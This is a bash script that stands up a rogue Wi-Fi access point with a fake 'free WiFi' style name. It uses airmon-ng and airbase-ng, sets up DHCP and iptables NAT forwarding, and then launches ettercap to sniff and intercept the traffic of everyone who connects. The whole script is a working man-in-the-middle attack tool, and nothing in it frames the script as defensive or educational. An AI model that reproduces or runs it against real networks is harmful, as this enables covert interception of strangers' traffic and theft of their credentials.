1. #!/bin/bash
  2. echo -n "Enter the name of the interface connected to the internet, for example eth0: "
  3. #read -e IFACE
  4. echo -n "Enter your wireless interface name, for example wlan0: "
  5. #read -e WIFACE
  6. echo -n "Enter the ESSID you would like your rogue AP to be called, for example Free WiFi: "
  7. #read -e ESSID
  8. echo -n "Enter your wireless interface MAC(XX:XX:XX:XX:XX:XX) [Optional,]: "
  9. #read -e MAC
  10. echo -n "Enter the channel you would like your rogue AP to be called [Optional]: "
  11. #read -e CHAN
  12. killall -9 dhcpcd dhcpd3 airbase-ng ettercap
  13. airmon-ng stop mon0
  14. WIFACE=wlan1
  15. IFACE=wlan0
  16. ESSID=PublicWiFiProject
  17. MAC=00:11:22:33:44:55
  18. airmon-ng stop $WIFACE
  19. ifconfig $WIFACE down
  20. airmon-ng start $WIFACE
  21. modprobe tun &
  22.  
  23. cmd="xterm -e airbase-ng -e ""$ESSID"" -P -v "
  24. if [ -n "$CHAN" ]; then
  25. cmd=$cmd"-c "$CHAN" "
  26. fi
  27. if [ -n "$MAC" ]; then
  28. cmd=$cmd"-a "$MAC" "
  29. fi
  30. cmd=$cmd"$WIFACE"
  31. $cmd &
  32.  
  33. echo "Witing 8 seconds for the SoftAP to be established"
  34. sleep 8
  35. echo "SoftAP should be working now"
  36.  
  37. ifconfig at0 up
  38. ifconfig at0 10.0.0.1 netmask 255.255.255.0
  39. ifconfig at0 mtu 1400
  40. route add -net 10.0.0.0 netmask 255.255.255.0 gw 10.0.0.1
  41. iptables --flush
  42. iptables --table nat --flush
  43. iptables --delete-chain
  44. iptables --table nat --delete-chain
  45. iptables -P FORWARD ACCEPT
  46. iptables -t nat -A POSTROUTING -o $IFACE -j MASQUERADE
  47. iptables -t mangle -A PREROUTING -j TTL --ttl-inc 1
  48. rm /var/run/dhcpd.pid
  49. touch /var/run/dhcpd.pid
  50. chgrp dhcpd /var/run/dhcpd.pid
  51. chown dhcpd /var/run/dhcpd.pid
  52. xterm -e dhcpd3 -d -f -cf /root/dhcpd.conf at0 &
  53. xterm -e ettercap -T -p -q -i at0 // // &
  54. echo "Witing 8 seconds for portforwarding and DHCP server"
  55. sleep 8
  56. echo "1" > /proc/sys/net/ipv4/ip_forward
  57. echo "Portforwarding and DHCP should be working now"